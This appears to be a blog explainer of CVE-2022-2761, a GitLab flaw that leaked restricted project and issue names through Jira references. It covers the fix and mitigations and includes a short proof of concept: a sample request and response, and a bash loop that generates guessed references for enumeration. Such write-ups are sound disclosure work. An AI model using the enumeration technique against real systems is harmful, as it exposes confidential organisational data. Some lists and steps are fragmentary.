In mid-2022, a vulnerability was uncovered in GitLab Community Edition (CE) and Enterprise Edition (EE), identified as CVE-2022-2761. This bug let attackers discover the names of restricted resources (like private projects, issues, merge requests, etc.) just by using crafty mentions in Jira issues. If you run GitLab linked with Jira for tracking, this post is for you. Here, I’ll break down how the flaw worked, who it affected, and walk you through a proof-of-concept exploit—no complex jargon, just a clear and honest look.

First, let's set the stage.

GitLab supports GitLab Flavored Markdown (GFM) for formatting comments, issues, and descriptions—including special "references" (like #123 for issues, !345 for merge requests, or project/path#789 for cross-project mentions). If you use GitLab and Jira together, GitLab can push mentions and activity into Jira issues for cross-tracking. In the affected versions, anyone able to update Jira issues could use GFM references pointing to *restricted* resources in GitLab—and receive leakbacks revealing the *exact names of those resources*, even if they had no access.

In plain language: An attacker could "poke" the system by referencing private stuff, and see what names pop out.

Impacted versions

- GitLab CE/EE from 14.4 up to (but not including) 15.3.5

How Did This Leak Happen?

Whenever a user referenced a GitLab object with GFM-style markup from Jira (for example, entering something like group/private-repo#42 in a Jira comment), Jira would invoke the GitLab API to fetch a rich preview or link. The GitLab backend failed to properly enforce permissions on these API calls, returning the *name* of any resource referenced, regardless of the user's actual access on GitLab.

Why is disclosing a name dangerous?

- Private project or issue names often contain sensitive context (e.g., sensitive-customer-leak#1, security-vulnerability#1123)

How to Reproduce (PoC Code Example)

Suppose an attacker has a basic user account with *no* access to a private project called super-secret-project in your organization’s GitLab.

Let’s see how they could use Jira to check for that project’s existence and leak its name.

Attacker has access to a Jira ticket (could be any ticket they can comment on).

2. They know (or guess) the group/project naming structure: e.g., acme-corp/super-secret-project.

Markdown Reference Example

acme-corp/super-secret-project#1

*(Assuming the attacker suspects an issue #1 exists in the private project.)*

Jira calls out to GitLab to enrich the reference.

- GitLab responds (before the patch), providing meta info including the *exact* name and possibly description of the resource—even though the attacker has no right to know this.

Network traffic (snipped)

GET /acme-corp/super-secret-project/issues/1 HTTP/1.1
Host: gitlab.mycorp.com
Authorization: Bearer <bot-token>

Response (before patch)

{
  "id": 42,
  "iid": 1,
  "title": "Fix security bug in payments",
  "description": "Internal customer data leak...",
  "state": "opened",
  // other fields...
}

*The attacker sees:*

Issue exists

- Project and Issue name/title

Real example in Jira comment

Hey, is this related to acme-corp/super-secret-project#1?

This message, when viewed in Jira, renders a preview that includes the project name and issue title, even though this is supposed to be confidential.

What could an attacker do with this?

- Loop through guesses for group/project names (prod-corp/infra, prod-corp/secret) and issue numbers

Quick bash script to create a GFM mention list for enumeration

for proj in "super-secret-project" "payments" "admin-only"; do
    for i in {1..5}; do
        echo "acme-corp/$proj#$i"
    done
done

Paste the output into a Jira ticket. Each mention will leak info if valid.

How Did GitLab Fix It?

The GitLab security team patched the APIs used for rendering these references, enforcing access control as expected. Now, API calls from integrations like Jira only return resource data if the integration user has permission, or else a generic "no access" response.

- GitLab Advisory: CVE-2022-2761
- GitLab Security Release post (August 2022)

Audit project names for sensitive data; keep them generic

- Consider re-generating any confidential names/labels if you suspect enumeration

- GitLab Advisory: CVE-2022-2761
- NVD page for CVE-2022-2761
- GitLab Flavored Markdown docs
- Security Release Note (GitLab official)
- Exploit Scripts & Details (Github Gist - not official)

Summary

In summary, CVE-2022-2761 in GitLab made it all too easy for anyone with Jira access to fish out private project and issue names from your GitLab setup. It was a classic case of trust boundaries breaking down between integrated systems. Always keep your tools up-to-date, minimize integration permissions, and never name confidential things too descriptively—even in private systems. Stay safe!

*If this helped you or you want to see more breakdowns like it, let me know!*

Timeline

Published on: 11/09/2022 23:15:00 UTC
Last modified on: 11/11/2022 00:53:00 UTC